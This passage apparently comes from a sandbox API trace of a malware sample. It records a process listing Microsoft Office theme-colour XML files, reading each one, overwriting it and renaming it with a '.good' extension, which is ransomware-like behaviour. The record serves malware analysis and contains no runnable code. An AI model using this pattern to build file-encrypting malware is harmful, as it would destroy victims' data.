ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Yellow.xml", cAlternateFileName="GREENY~1.XML")) returned 1 [0138.218] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green.xml", cAlternateFileName="")) returned 1 [0138.218] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marquee.xml", cAlternateFileName="")) returned 1 [0138.218] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0138.218] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2007 - 2010.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0138.219] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Red.xml", cAlternateFileName="ORANGE~1.XML")) returned 1 [0138.219] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange.xml", cAlternateFileName="")) returned 1 [0138.219] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0138.219] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Red Orange.xml", cAlternateFileName="REDORA~1.XML")) returned 1 [0138.219] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Red Violet.xml", cAlternateFileName="REDVIO~1.XML")) returned 1 [0138.219] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Red.xml", cAlternateFileName="")) returned 1 [0138.219] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0138.220] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Violet II.xml", cAlternateFileName="VIOLET~1.XML")) returned 1 [0138.220] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Violet.xml", cAlternateFileName="")) returned 1 [0138.220] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellow Orange.xml", cAlternateFileName="YELLOW~1.XML")) returned 1 [0138.220] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellow.xml", cAlternateFileName="")) returned 1 [0138.220] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x200ec7c0 | out: lpFindFileData=0x200ec7c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yellow.xml", cAlternateFileName="")) returned 0 [0138.220] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eca20) returned 1 [0138.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec9e0) returned 1 [0138.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", lpFilePart=0x0) returned 0x51 [0138.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0138.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), fInfoLevelId=0x0, lpFileInformation=0x3aaa2e0 | out: lpFileInformation=0x3aaa2e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4)) returned 1 [0138.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0138.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", lpFilePart=0x0) returned 0x51 [0138.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0138.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.223] GetFileType (hFile=0x650) returned 0x1 [0138.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0138.223] GetFileType (hFile=0x650) returned 0x1 [0138.223] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e4 [0138.223] ReadFile (in: hFile=0x650, lpBuffer=0x3aaa890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3aaa890*, lpNumberOfBytesRead=0x200ec818*=0x2e4, lpOverlapped=0x0) returned 1 [0138.224] CloseHandle (hObject=0x650) returned 1 [0138.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", lpFilePart=0x0) returned 0x51 [0138.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0138.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0138.256] GetFileType (hFile=0x650) returned 0x1 [0138.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0138.256] GetFileType (hFile=0x650) returned 0x1 [0138.257] WriteFile (in: hFile=0x650, lpBuffer=0x3b22f68*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3b22f68*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0138.257] CloseHandle (hObject=0x650) returned 1 [0138.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml", lpFilePart=0x0) returned 0x51 [0138.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml.gоod", lpFilePart=0x0) returned 0x56 [0138.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0138.258] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4e9e04a7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0138.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0138.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\aspect.xml.gоod")) returned 1 [0138.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", lpFilePart=0x0) returned 0x55 [0138.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0138.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), fInfoLevelId=0x0, lpFileInformation=0x3b24240 | out: lpFileInformation=0x3b24240*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8)) returned 1 [0138.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0138.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", lpFilePart=0x0) returned 0x55 [0138.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0139.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0139.698] GetFileType (hFile=0x644) returned 0x1 [0139.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0139.698] GetFileType (hFile=0x644) returned 0x1 [0139.699] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e8 [0140.081] ReadFile (in: hFile=0x644, lpBuffer=0x3adedc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3adedc0*, lpNumberOfBytesRead=0x200ec818*=0x2e8, lpOverlapped=0x0) returned 1 [0140.103] CloseHandle (hObject=0x644) returned 1 [0140.141] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", lpFilePart=0x0) returned 0x55 [0140.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0140.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0140.143] GetFileType (hFile=0x644) returned 0x1 [0140.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0140.143] GetFileType (hFile=0x644) returned 0x1 [0140.143] WriteFile (in: hFile=0x644, lpBuffer=0x3b80fc0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3b80fc0*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0140.144] CloseHandle (hObject=0x644) returned 1 [0140.144] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml", lpFilePart=0x0) returned 0x55 [0140.144] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml.gоod", lpFilePart=0x0) returned 0x5a [0140.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0140.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115da4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4fbe5d13, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0140.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0140.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue green.xml.gоod")) returned 1 [0140.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", lpFilePart=0x0) returned 0x52 [0140.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0140.145] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), fInfoLevelId=0x0, lpFileInformation=0x3b822b0 | out: lpFileInformation=0x3b822b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e5)) returned 1 [0140.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0140.526] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", lpFilePart=0x0) returned 0x52 [0140.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0140.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0140.527] GetFileType (hFile=0x618) returned 0x1 [0140.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0140.527] GetFileType (hFile=0x618) returned 0x1 [0140.527] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e5 [0140.527] ReadFile (in: hFile=0x618, lpBuffer=0x3a3fb70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3a3fb70*, lpNumberOfBytesRead=0x200ec818*=0x2e5, lpOverlapped=0x0) returned 1 [0140.528] CloseHandle (hObject=0x618) returned 1 [0140.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", lpFilePart=0x0) returned 0x52 [0141.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0141.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0141.110] GetFileType (hFile=0x61c) returned 0x1 [0141.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0141.110] GetFileType (hFile=0x61c) returned 0x1 [0141.110] WriteFile (in: hFile=0x61c, lpBuffer=0x3b816b8*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3b816b8*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0141.146] CloseHandle (hObject=0x61c) returned 1 [0141.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml", lpFilePart=0x0) returned 0x52 [0141.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml.gоod", lpFilePart=0x0) returned 0x57 [0141.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0141.146] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\blue ii.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5056f2a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0141.146] SetThreadErrorMode 